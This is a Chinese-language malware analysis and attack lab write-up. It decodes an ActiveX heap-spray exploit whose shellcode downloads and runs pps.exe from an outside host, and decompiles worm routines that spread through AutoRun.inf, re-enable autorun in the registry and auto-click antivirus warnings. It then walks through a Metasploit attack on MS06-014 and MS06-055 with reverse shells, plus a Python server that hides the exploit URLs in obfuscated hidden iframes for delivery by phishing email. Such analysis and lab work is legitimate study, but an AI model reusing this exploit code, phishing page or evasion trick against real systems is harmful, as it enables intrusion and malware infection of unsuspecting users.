\101\162\162\141\171\50\51\73\15\12\146\157\162\40\50\170\75\60\73\40\170\74\64\60\60\73\40\170\53\53\51\40\155\145\155\157\162\171\133\170\135\40\75\40\142\154\157\143\153\40\53\40\163\150\145\154\154\143\157\144\145\73\15\12\166\141\162\40\142\165\146\146\145\162\40\75\40\47\47\73\15\12\167\150\151\154\145\40\50\142\165\146\146\145\162\56\154\145\156\147\164\150\40\74\40\65\60\60\51\40\142\165\146\146\145\162\53\75\42\134\170\60\141\134\170\60\141\134\170\60\141\134\170\60\141\42\73\15\12\160\160\163\56\114\157\147\157\40\75\40\142\165\146\146\145\162\15\12")

其解码结果如下:

eval("/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer
")

这段代码是一个漏洞利用脚本,针对某个 ActiveX 控件(CLSID: 5EC7C511-CD0F-42E6-830C-1BD9882F3458)的 Logo 属性缓冲区溢出漏洞。其执行流程如下:
注释部分:eval 字符串开头的 /* ... */ 内部包含大量看似 shellcode 的 %u 序列,但它们被注释掉了,不会执行(可能是干扰分析或残留代码)。
创建漏洞控件:
pps = document.createElement("object") 并设置 classid 为指定 CLSID。
该控件很可能是暴风影音、PowerPlayer 或其他第三方播放器组件。
构建 shellcode:
通过 unescape 解码出一段 Unicode 编码的 x86 机器码(与前面分析过的 shellcode 类似),功能为下载远程木马并执行(URL 类似 http://down.18dd.net/.../pps.exe )。
堆喷射(Heap Spray):
构造大量包含 NOP 滑板(%u9090)和 shellcode 的内存块,填充 400 个数组元素,覆盖内存地址空间。
目的:提高漏洞触发后跳转到 shellcode 的概率。
触发漏洞:
构造一个包含 500 个换行符(\x0a)的字符串 buffer。
将该字符串赋值给控件的 Logo 属性:pps.Logo = buffer。
这会触发控件内对输入长度检查不严的缓冲区溢出,劫持程序执行流,最终滑入堆喷射的 shellcode。

bd.cab
.cab 是 Windows 使用的 Cabinet 压缩文件格式,类似 .zip 或 .rar。拿出文件后直接更改后缀名为.cab即可解压缩
解压后为一个exe文件
现在我们已经知道完整的攻击中存在着4个exe文件我们需要对其进行分析
分别为:
014.exe
bf.exe
pps.exe
bd.exe
这四个文件在文件包中大小一致且md5相同本质上就是一个文件,我们对bd.exe单独进行分析即可,
使用ida进行打开,使用shift+f12查看字符串得到结果如下:

image

image

经过追踪字符串我们找到了该程序的主要攻击函数:

int __thiscall sub_405C48(void *this)
{
  const CHAR *v1; // eax
  const CHAR *v2; // eax
  int v3; // ecx
  int v5; // [esp-34h] [ebp-244h]
  int v6; // [esp-2Ch] [ebp-23Ch]
  int v7; // [esp-28h] [ebp-238h]
  int v8; // [esp-20h] [ebp-230h]
  int v9; // [esp-1Ch] [ebp-22Ch]
  struct _EXCEPTION_REGISTRATION_RECORD *v10; // [esp-18h] [ebp-228h] BYREF
  LPCSTR v11; // [esp-14h] [ebp-224h]
  int *v12; // [esp-10h] [ebp-220h]
  struct _EXCEPTION_REGISTRATION_RECORD *v13; // [esp-Ch] [ebp-21Ch] BYREF
  void *v14; // [esp-8h] [ebp-218h]
  int *v15; // [esp-4h] [ebp-214h]
  int v16; // [esp+Ch] [ebp-204h]
  int v17[8]; // [esp+18h] [ebp-1F8h] BYREF
  int v18; // [esp+208h] [ebp-8h]
  int i; // [esp+20Ch] [ebp-4h]
  int savedregs; // [esp+210h] [ebp+0h] BYREF

  v15 = &savedregs;
  v14 = &loc_405E9C;
  v13 = NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)&v13);
  for ( i = 65; i != 91; ++i )
  {
    sub_403A9C(this, i);
    sub_403B4C(dword_405EB4, v17[7]);
    v1 = (const CHAR *)sub_403D00();
    if ( GetDriveTypeA(v1) == 3 )
    {
      sub_403B4C("AutoRun.inf", v18);
      if ( (unsigned __int8)sub_406E14(v13, v14, v15) )
      {
        ((void (*)(void))sub_40668C)();
        sub_406E78();
      }
      v12 = &savedregs;
      v11 = (LPCSTR)&loc_405DA5;
      v10 = NtCurrentTeb()->NtTib.ExceptionList;
      __writefsdword(0, (unsigned int)&v10);
      sub_402AA0();
      sub_40283C();
      sub_4025F4();
      sub_403AAC("[AutoRun]\r\nopen=");
      v8 = v17[5];
      sub_403AAC("shellexecute=");
      v6 = v17[4];
      sub_403AAC("shell\\Auto\\command=");
      sub_403BC0(v17[3], v5, dword_405EF0, v6, v7, dword_405EF0, v8, v9);
      sub_403E8C();
      sub_402E98();
      sub_4025F4();
      sub_402B5C();
      sub_4025F4();
      __writefsdword(0, (unsigned int)v10);
      sub_40668C(v12, 3);
      sub_403AAC(0);
      sub_403B4C(v17[1], v18);
      v11 = (LPCSTR)sub_403D00();
      sub_406D20();
      sub_403AAC(v17);
      sub_403B08();
      v2 = (const CHAR *)sub_403D00();
      CopyFileA(v2, v11, (BOOL)v12);
      sub_403AAC(v13);
      sub_403B4C(v16, v18);
      sub_40668C(v3, 3);
    }
  }
  __writefsdword(0, (unsigned int)v13);
  sub_4039A0(&loc_405EA3);
  return sub_4039A0(v15);
}

其函数逻辑如下:
函数逻辑分析
遍历驱动器盘符
for ( i = 65; i != 91; ++i ) → 遍历字母 A 到 Z,对应 Windows 驱动器号。

检查是否为固定硬盘
GetDriveTypeA(v1) == 3 → DRIVE_FIXED,即本地硬盘(非软盘、光驱、网络盘)。

尝试操作 AutoRun.inf

调用 sub_406E14 检查是否已存在 AutoRun.inf 文件(返回值非零表示成功)。

如果存在,执行 sub_40668C 和 sub_406E78(可能是备份或读取现有配置)。

写入恶意 AutoRun 内容
依次拼接以下字符串到文件:

text
[AutoRun]
open=...
shellexecute=...
shell\Auto\command=...
这些字段用于在用户双击盘符时自动执行指定的恶意程序。

复制自身到目标驱动器

CopyFileA(v2, v11, FALSE) → 将当前进程对应的可执行文件(或某个恶意文件)复制到目标驱动器的根目录(或指定路径)。

结合前面的 [AutoRun] 配置,使得受害者下次访问该盘符时自动运行病毒。

异常处理与混淆

多次操作 __writefsdword 和异常注册结构(_EXCEPTION_REGISTRATION_RECORD),可能是为了反调试或隐藏执行流

频繁调用 sub_403AAC、sub_403B4C 等子函数,实际是字符串拼接和文件写入的封装。

结论
该函数是一个经典蠕虫传播模块:遍历所有本地硬盘,在根目录生成恶意 AutoRun.inf 文件,并将自身副本复制到盘符下。当用户双击盘符或插入被感染的磁盘(在支持 AutoRun 的旧版 Windows 中),病毒会自动启动。这种行为常见于早期的 U 盘病毒(如 “熊猫烧香” 变种或 Conficker 蠕虫)。
另一个重要函数逻辑基本一致但是攻击方式有区别:

LRESULT __stdcall sub_406778(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
  unsigned int v4; // eax
  int v5; // edx
  int v6; // ecx
  char v7; // zf
  const CHAR *v8; // eax
  _EXCEPTION_REGISTRATION_RECORD *v9; // edx
  int v10; // ecx
  int v12; // [esp-28h] [ebp-33Ch]
  int v13; // [esp-24h] [ebp-338h]
  int v14; // [esp-20h] [ebp-334h]
  int v15; // [esp-20h] [ebp-334h]
  int v16; // [esp-1Ch] [ebp-330h]
  _EXCEPTION_REGISTRATION_RECORD *v17; // [esp-18h] [ebp-32Ch] BYREF
  LPCSTR v18; // [esp-14h] [ebp-328h]
  int *v19; // [esp-10h] [ebp-324h]
  _EXCEPTION_REGISTRATION_RECORD *v20; // [esp-Ch] [ebp-320h] BYREF
  void *v21; // [esp-8h] [ebp-31Ch]
  int *v22; // [esp-4h] [ebp-318h]
  int v23; // [esp+0h] [ebp-314h]
  int v24; // [esp+4h] [ebp-310h]
  int v25; // [esp+8h] [ebp-30Ch]
  int v26; // [esp+Ch] [ebp-308h]
  int v27; // [esp+10h] [ebp-304h]
  const CHAR *v28; // [esp+14h] [ebp-300h]
  int v29; // [esp+1Ch] [ebp-2F8h]
  int v30[3]; // [esp+24h] [ebp-2F0h] BYREF
  unsigned __int8 v31; // [esp+34h] [ebp-2E0h]
  char v32[460]; // [esp+134h] [ebp-1E0h] BYREF
  BYTE Data[4]; // [esp+300h] [ebp-14h] BYREF
  HKEY phkResult; // [esp+308h] [ebp-Ch] BYREF
  int i; // [esp+30Ch] [ebp-8h]
  LRESULT v36; // [esp+310h] [ebp-4h]
  int savedregs; // [esp+314h] [ebp+0h] BYREF

  v22 = &savedregs;
  v21 = &loc_406A54;
  v20 = NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)&v20);
  if ( wParam == 0x8000 )
  {
    if ( *(_DWORD *)(lParam + 4) == 2 )
    {
      v4 = *(_DWORD *)(lParam + 12);
      for ( i = 0; i != 26; ++i )
      {
        if ( (v4 & 1) != 0 )
          break;
        v4 >>= 1;
      }
      sub_402EE0();
      sub_402BB4(v31 + 1, dword_406A68);
      if ( v7 )
      {
        v19 = &savedregs;
        v18 = (LPCSTR)&loc_4068AF;
        v17 = NtCurrentTeb()->NtTib.ExceptionList;
        __writefsdword(0, (unsigned int)&v17);
        LOBYTE(v5) = i + 65;
        sub_403A9C(v6, v5);
        v14 = v30[2];
        sub_403AAC(dword_406A74);
        sub_403BC0(v30[1], v13, v14, 0, v17, v18, v19, v20);
        v18 = (LPCSTR)sub_403D00();
        sub_406D20();
        sub_403AAC(v30);
        sub_403B08();
        v8 = (const CHAR *)sub_403D00();
        CopyFileA(v8, v18, (BOOL)v19);
        v9 = v20;
        __writefsdword(0, (unsigned int)v20);
        LOBYTE(v9) = i + 65;
        sub_403A9C(v22, v9);
        sub_403B4C(":\\AutoRun.inf", v29);
        RegOpenKeyExA_0(
          HKEY_CURRENT_USER,
          "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",
          0,
          0xF003Fu,
          &phkResult);
        *(_DWORD *)Data = 0;
        RegSetValueExA(phkResult, "NoDriveTypeAutoRun", 0, 4u, Data, 4u);
        RegCloseKey_0(phkResult);
        if ( (unsigned __int8)sub_406E14(v23, v24, v25) )
        {
          sub_40668C(v10, 0);
          sub_406E78();
        }
        v22 = &savedregs;
        v21 = &loc_406A10;
        v20 = NtCurrentTeb()->NtTib.ExceptionList;
        __writefsdword(0, (unsigned int)&v20);
        sub_402AA0();
        sub_40283C();
        sub_4025F4();
        sub_403AAC("[AutoRun]\r\nopen=");
        v18 = v28;
        v17 = (_EXCEPTION_REGISTRATION_RECORD *)dword_406B04;
        sub_403AAC("shellexecute=");
        v15 = v27;
        sub_403AAC("shell\\Auto\\command=");
        sub_403BC0(v26, v12, dword_406B04, v15, v16, v17, v18, v19);
        sub_403E8C();
        sub_402E98();
        sub_4025F4();
        sub_402B5C((int)v32);
        sub_4025F4();
        __writefsdword(0, (unsigned int)v17);
      }
    }
  }
  else
  {
    v36 = DefWindowProcA(hWnd, Msg, wParam, lParam);
  }
  __writefsdword(0, (unsigned int)v20);
  sub_4039A0(&loc_406A5B);
  sub_40397C();
  return v36;
}

这段代码是一个窗口过程函数,用于响应自定义消息 0x8000,实现蠕虫的U盘/移动磁盘传播功能。

核心逻辑:

解析目标盘符
lParam + 12 传入一个位掩码,通过循环 26 次(对应 A~Z 盘)找出第一个置位的驱动器号 i,作为传播目标。

复制自身到目标盘根目录
调用 sub_403D00 获取自身文件路径,拼凑出目标路径(如 X:\恶意文件名),然后通过 CopyFileA 将自身复制过去。

创建 AutoRun.inf 实现自动运行
在目标盘根目录生成 AutoRun.inf,写入类似以下内容:

ini
[AutoRun]
open=恶意文件名
shellexecute=恶意文件名
shell\Auto\command=恶意文件名
修改注册表确保自动运行生效
打开键值
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
将 NoDriveTypeAutoRun 的值设为 0,强制启用所有类型驱动器的自动播放,使自己的 AutoRun.inf 能够被系统处理。

异常处理与清理
通过 __writefsdword 设置 SEH 异常处理链,保证即使出错也能恢复现场,最后调用一些清理与收尾函数。

总结:这是一段典型的蠕虫传播代码,通过窗口消息触发,向可移动磁盘复制自身并设置自动运行,以便在插入其他计算机时自动感染系统。

有意思的是在整个文件中还出现了对杀毒软件的绕过行为,直接通过模拟点击允许进行:

DWORD __stdcall StartAddress()
{
  HWND v0; // ebx
  HWND v1; // esi
  HWND v2; // esi
  HWND v3; // eax
  HWND v4; // esi
  DWORD result; // eax
  unsigned int v6[3]; // [esp-18h] [ebp-34h] BYREF
  unsigned int v7[6]; // [esp-Ch] [ebp-28h] BYREF
  struct tagRECT Rect; // [esp+Ch] [ebp-10h] BYREF
  int savedregs; // [esp+1Ch] [ebp+0h] BYREF

  v7[2] = (unsigned int)&savedregs;
  v7[1] = (unsigned int)&loc_405BD4;
  v7[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)v7);
  while ( byte_40A730 != 1 )
  {
    v6[2] = (unsigned int)&savedregs;
    v6[1] = (unsigned int)&loc_405BB0;
    v6[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
    __writefsdword(0, (unsigned int)v6);
    v0 = FindWindowA("#32770", "IE 执行保护");
    if ( !v0 )
      v0 = FindWindowA("#32770", "IE执行保护");
    if ( v0 )
    {
      SetForegroundWindow(v0);
      SetActiveWindow(v0);
      v1 = FindWindowExA(v0, 0, "Button", "允许执行");
      if ( v1 )
      {
        GetWindowRect(v1, &Rect);
        SetCursorPos(Rect.left + (Rect.right - Rect.left) / 2, Rect.top + (Rect.bottom - Rect.top) / 2);
        SendMessageA(v1, 0x201u, 0, 0);
        SendMessageA(v1, 0x202u, 0, 0);
        SendMessageA(v1, 0x201u, 0, 0);
        SendMessageA(v1, 0x202u, 0, 0);
      }
      v2 = FindWindowExA(v0, 0, "Button", "确定");
      if ( v2 )
      {
        GetWindowRect(v2, &Rect);
        SetCursorPos(Rect.left + (Rect.right - Rect.left) / 2, Rect.top + (Rect.bottom - Rect.top) / 2);
        SendMessageA(v2, 0x201u, 0, 0);
        SendMessageA(v2, 0x202u, 0, 0);
        SendMessageA(v2, 0x201u, 0, 0);
        SendMessageA(v2, 0x202u, 0, 0);
      }
    }
    v3 = FindWindowA("#32770", "瑞星卡卡上网安全助手 - IE防漏墙");
    if ( v3 )
    {
      v4 = FindWindowExA(v3, 0, "Button", "允许");
      if ( v4 )
      {
        GetWindowRect(v4, &Rect);
        SetCursorPos(Rect.left + (Rect.right - Rect.left) / 2, Rect.top + (Rect.bottom - Rect.top) / 2);
        SendMessageA(v4, 0x201u, 0, 0);
        SendMessageA(v4, 0x202u, 0, 0);
        SendMessageA(v4, 0x201u, 0, 0);
        SendMessageA(v4, 0x202u, 0, 0);
      }
    }
    __writefsdword(0, v6[0]);
    Sleep(5u);
  }
  result = 0;
  __writefsdword(0, v7[0]);
  return result;
}

这个函数是 恶意软件中用于对抗安全软件弹窗拦截的自动化点击模块。它的作用是 持续监控并自动点击安全软件(如瑞星卡卡上网助手、IE执行保护等)弹出的警告窗口中的“允许”或“确定”按钮,从而让恶意操作(如加载驱动、注入进程、修改系统设置)能够顺利执行而不被用户中断。

详细行为分析
循环等待全局标志
while (byte_40A730 != 1):只要某个全局变量不为1,就一直执行内部的弹窗处理逻辑。这个标志可能由其他模块在完成关键恶意行为后设置,以退出该线程。

查找并点击“IE 执行保护”弹窗

查找窗口类 #32770(对话框类),标题为 "IE 执行保护" 或 "IE执行保护"(无空格)。

找到后,置顶并激活该窗口。

查找子按钮 "允许执行" 和 "确定"。

对每个按钮:获取其屏幕坐标,将鼠标移动到按钮中心,然后模拟发送 WM_LBUTTONDOWN(0x201)和 WM_LBUTTONUP(0x202)消息,相当于单击。

连续发送两次(可能是为了确保点击生效)。

查找并点击“瑞星卡卡上网安全助手”弹窗

查找窗口标题 "瑞星卡卡上网安全助手 - IE防漏墙"。

找到按钮 "允许",同样模拟点击。

短暂休眠后继续扫描
Sleep(5u):每次扫描后休眠5毫秒,避免过度占用CPU。

(3)攻防对抗实践—web浏览器渗透攻击攻防

实验环境确认

角色 IP 地址 系统/工具
攻击机 Kali 192.168.5.2 Metasploit, Python3
靶机 192.168.5.12 Windows XP + IE6(未打补丁)

确保两者网络互通,关闭靶机防火墙。

🧨 第一步:在 Kali 上启动 Metasploit 生成两个漏洞 URL

  1. 启动 MSF 控制台
    sudo msfconsole
  2. 配置 MS06-014 漏洞模块(IE createObject)
use exploit/windows/browser/ie_createobject
set SRVHOST 192.168.5.2
set SRVPORT 8081
set URIPATH /3917
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.5.2
set LPORT 4444
run

运行后终端会显示:Server started at http://192.168.5.2:8081/3917

image

  1. 打开另一个终端(不要退出msfconsole),重新启动一个新的msfconsole会话来配置 MS06-055 漏洞
use exploit/windows/browser/ms06_055_vml_method
set SRVHOST 192.168.5.2
set SRVPORT 8080
set URIPATH /3917-2
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.5.2
set LPORT 4445
run

image

最后两个终端的结果如下所示,均能够获取到session
image

也可以使用同一个 msfconsole 的 exploit -j 后台运行多个模块,但为简单起见,建议开两个终端。
以上环境测试完成记下来进入实战

邮件实战

将两个终端设置如下:
image

接下来进行混淆混淆脚本如下:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
攻击方辅助脚本:开启 Web 服务器,提供包含混淆后 MS 漏洞 URL 的页面。
使用方法:
    1. 修改下面 MSF_URL_014 和 MSF_URL_055 为你 Metasploit 模块生成的实际 URL。
    2. 运行本脚本:python3 evil_server.py
    3. 将 http://你的IP:8080/ 通过欺骗邮件发送给防守方。
"""

from http.server import HTTPServer, SimpleHTTPRequestHandler
import urllib.parse

# ================= 配置区域 =================
# 请替换为 Metasploit 实际生成的 URL(例如  http://192.168.1.100:8080/abc123 )
MSF_URL_014 = "http://192.168.1.100:8080/3917"
MSF_URL_055 = "http://192.168.1.100:8081/3917"
# ===========================================

# 混淆后的 HTML 内容(JavaScript 动态还原真实 URL)
OBFUSCATED_HTML = f"""
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Loading...</title>
</head>
<body>
    <h1>Please wait...</h1>
    <script>
        // 混淆函数:反转字符串并解码 Base64 风格的简单混淆(实际可换用更复杂算法)
        function deobfuscate(encoded) {{
            // 第一层:反转
            var reversed = encoded.split('').reverse().join('');
            // 第二层:将每个字符的 charCode 减 1(模拟简单编码)
            var decoded = '';
            for (var i = 0; i < reversed.length; i++) {{
                decoded += String.fromCharCode(reversed.charCodeAt(i) - 1);
            }}
            return decoded;
        }}

        // 两个 MS 漏洞 URL 的混淆形式(原始 URL 先每字符加 1 编码,再整体反转)
        // 注意:下面两个变量值需要通过 Python 预先生成(已在本脚本中动态生成)
        var url014_obf = "{''.join(chr(ord(c)+1) for c in MSF_URL_014[::-1])}";
        var url055_obf = "{''.join(chr(ord(c)+1) for c in MSF_URL_055[::-1])}";

        // 解混淆得到真实 URL
        var realUrl014 = deobfuscate(url014_obf);
        var realUrl055 = deobfuscate(url055_obf);

        // 方式1:使用 iframe 隐蔽加载两个漏洞页面(自动触发)
        var iframe014 = document.createElement('iframe');
        iframe014.src = realUrl014;
        iframe014.style.display = 'none';
        document.body.appendChild(iframe014);

        var iframe055 = document.createElement('iframe');
        iframe055.src = realUrl055;
        iframe055.style.display = 'none';
        document.body.appendChild(iframe055);

        // 方式2:也可提供一个链接,引诱人工点击(备用)
        var linkDiv = document.createElement('div');
        linkDiv.innerHTML = '<p><a href="#" onclick="window.open(\\'' + realUrl014 + '\\'); return false;">Click here to view content</a></p>';
        document.body.appendChild(linkDiv);
    </script>
</body>
</html>
"""

class CustomHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        # 只有根路径返回混淆页面,其他路径(如 /favicon.ico)返回404
        if self.path == '/' or self.path == '/index.html':
            self.send_response(200)
            self.send_header('Content-type', 'text/html; charset=utf-8')
            self.end_headers()
            self.wfile.write(OBFUSCATED_HTML.encode('utf-8'))
        else:
            self.send_response(404)
            self.end_headers()
            self.wfile.write(b'Not Found')

def run_server(port=1234):
    server_address = ('', port)
    httpd = HTTPServer(server_address, CustomHandler)
    print(f"[*] Web server started at http://0.0.0.0:{port}")
    print(f"[*] Obfuscated exploit page available at http://your-ip:{port}/")
    print("[*] Press Ctrl+C to stop.")
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print("\n[*] Shutting down.")
        httpd.server_close()

if __name__ == '__main__':
    run_server()

运行结果如下所示
image

回到靶机,访问http://192.168.5.2:1234

访问结果如下

image

点击链接之后出现回显,在右侧MS06-014 成功触发,如果需要更隐秘方式可以使用Iframe 加载网页
image

接下来就是需要对邮件进行包装
image

诱导受害者进行访问即可
防守方
接下来进行抓包测试,直接在kali上进行抓包效果一致,win2000 server安装wireshark较为困难。
我们可以看到,靶机正常的访问了我们的攻击机1234端口也就是我们所做的钓鱼网页,其中能够看到具体的钓鱼网页做了什么

image

在用户点击跳转链接之后成功跳转到了我们的目标链接,并成功利用MS06-014获取了权限,最终结果如下所示:
image

关键HTTP包如下

"\000\f)\256A\302\000\f)d\255\240\b\000E\000-\316\330\003@\000@\006\251\307\300\250\005\002\300\250\005\f\037\220\004\201\320\336\337\357pg\034\020P\030\372$\271\037\000\000\n\r\t\n\r +\r \n\t \n\n \r\n\n\r\r\r\t\r\r\t\n \n'F' \n \r \r\r\n\r\n\t\t\r\t\r\r\t\t \t\t\n\r\n  \r\n+\n\n\r\t\n\r\r\t \r\t\r\n\n\r \n\r\r \t  \n \t\t\t\r'5'\r \r\n\r\r \r\n \r\n\n\r\t\n\r\r\r\t\n\t\t\n \n\r\n\t +\r\r\n\n\n\r\t\t\r  \r   \t \t\t\n\n \r\n  \r\n \r\n \r\n\t\t \t\n\r\n\t \r\t   \t\r'A'\r \r\n\r\n\t\r \t\t  \r \r\r \r \n\n\r\n\r+ \t\r\r\r\r\n\r\r\r\r  '1'\n   \t \t \r\r\t  \n\r\r    \t\n\n+ \r\r\n\t\t\r\n\r\r\r \r '1'\n\r\t \n\r \n  \r\r\t\n\n\r\n\n\r\t \r\t\t\t \t\t\r+\n\t\n\n \r\t\r\n \n\t\r\t\r\r \r\t\r\n \t\n\t \n \r \r\n\t\r\n\t\t\n \r\n\t \r\t\t \t\n \r'F'\r \r\r+\r \n \n\r\r\n\t\r\t\r\r \t\n\r\r\n\n   'A'\n \t\r\n\t \n+\t\t\r\n\n\t \t\n\n \t\t\n\t \n\t\t\r\r'B'  \r \r \n\t \n\r \r \t \t\t+\r\n\n \n\r\r\t\n \r\t\n\r\n \r\t\r\n\r'1' \r\r\t\t+ \n\t\t\r\n\t\n\t\r\r\t \r\r\r\t \r\r\r \n \n\n\t \t\r \n \t\r    \r \r\t\r\r  '9'\n\n\n\r\n\n\t\r \t\r \t\r\n\r\r+\r\n\t\t  \r\t\r\n\n\t \r\n\t\r\t\t      \t'}'\t\n\t\r\r\t\t\r\t\r\t \t\t\n\r\t\t \t \r\t\t\r\n\t\n\r\n\t\t\t\t\n\n\n\t\r\n\n\t \t\n\r,\r\t\n\n\n \n\r\n\t\r   \n \n\r   \t\t \t\n \r   \t\n\n\r\n \n\r\r\r\n\t\n'{'\t\t\r\t\n\n   \r\n\t\n\r\n\n\r \t\r  \t\r  \r\t \t\r\t\n+\r   \r\r\n  \r \r \t\r\t\n \n\n \r\t\t\n\t\n\r  \t\r'E'\t\r\t \n \n\r \r\r\r\r\n\t\r\r\n\t\r\t\r\t\r\n\r+\n\r\r  \r\r\r\n\r\r  \t\n\r\r'8' \r\n \n  \n\r \t\r\n\r  \t\n\r \n\n\r \n\t   \t\t\t+\t\t\t \n\t\t \r\r \r\n \n\r\r\n\n\n\t\n\n\n\t\t 'C'\t\n\r \n\n \n \n\n\t \r+\r\n\r\n\n\t\r\n\n\r \t \t \n \n 'C'\t\n\r \t\r\n\n\r \n\n\r \r \t\n\t\r \r\n \r\n  \n \n\r\r\r  \r\r\n\t\r\n\n\t+\t\t \r  \n\r\r'C'\n\r\t\n\n\t\t\n \r\n\r \t\t\t\r\n \r+\r\r \r\r'D'\r \n\n\t\n\n\n\r\r\r\t \n\t\n\r  \r \r\t \n\n\t \r\r\t\r\n \t \t\r\t\r +\n\n\r\r \t\r \t\r \r \r \r \t'D'\r\r\t\n   \r\r\n\r\n\t  \r \n  +  \t \r\t\r \t\t\t\r\n\t\n \t'F'\t\r\n \t\r\r\n\n\n\t\r\r\n\r \n\r\t\t\r\t\n\n\t  \n\n+\t\n\r\t \r  \r\r\r\r\n\t \r\n \t\t\t \r  \t\r \r\t\n\n\r\n '-'\n  \t \n\t\r\n\n\r\r\t\r\r\r\r\t\n\t\n   \r    \t\t\r\t\r+\n \r\n\r\r\t\t\n\t\n\r \n  'C'\n  \n\n\r\n \n\t\t\r\r\n\r\n\r\r\n\n\r\t \r   \r\r\n\n \n\r\t\n\t\t\t\t+  \t\n\n\r\r  \n\r\n\t\n  \t\r\r \n\r  \r\t\t\r\r \t\t'A' \r\n\r\n  \n\t\r\t \r\t\n\n\n\r   \t\r\n \r \r\r \n\t\r\n\n\r\t\n \r \r\r\t\n\t\n\r  +\r\t\n\r\r\r'2'\r\r\t\t \r \t  \t\n\r+\t\n\r\n\r \t \t\r\t\r\t\n \r\r \n\t\n\t  \n\r \t\r \n  \n \r'8'\t\n\t\r\n+\n \t\t\n\t\r\t\n \r\r\r\r\t \n\t \t\r \r \n\t\r\n\n \t\t\r\n\t\r\r\t\r\t \n \n\r\r'-'\n\t\n\t\n  \n\n\n\n\t\t\n\t\r\r \n \n\t\n\t\r\t\n\n\r \n\n\r \t  \n\r\n\n \t\n\t\r \r \r\r+\n\r \r\r\t\n'4'\n\t\t \n \t\r\r\r\n\t\r\r\r\t\r\r\r\t+\t\n \r\n\t \r\t\n\t \n \t '9'\n\t\t\n\r\n \t \n\r\r\t \t\t\n  \t  \r\t\r\r \t\r+\r \t\t\n\r\n\t \t \n\n\r\t\r\r\n\t\r\n\r \r\t\r\t\t\t\r\t\r\t\t'6'\r\n+\t  \r\t\n\r\n\r   \r'b'  \t \r\r \t\n\t  \r\r\t\r \r \n\t\r\t \r\n \t\r+\t \r\r \n\n\r\r\n\n\r \r\t\n\t\n'-' \n \n\t  \n\r\n  \r \r\r\t \t+\t  \r\r \n \n\t\r\t \r \r\t\r\r\n\r\r \n\r\r\t \t\r\t\n  \t\r \n\r \r\r\t \t\n\t 'B' \t  \r\r\r\t\t\n\t\t \n\n \n\r\t \t \r\t\r\r\r\t\t \t\t\t \r\r\r\n\r\r  \n\r\r\r\t\t\n\r\n+ \t\n\r\r\r '0' \n \n\r\r \r\r \n \n\n\r\t\r \r\r \t\r\t\t \r\t\t\t  \r\n\r+\r\n\n \n\r\r\t   \n\t \r '5'\n\n\n  \n+ \t\n\t\r\r\t \r \t\n\n\t\t\n '0'\n\r  \r\t\t\r\n\n \n  \t\t\r  \t \t\n\n\t\r\r  \n\r\r\r\n\t\r   \r\t\n\n\r+\n\r\n\r\r\r\r\n\n\n\n\n\n\r\n\n\r \n\n \r '-' \t \r\r \r   \n \t\t 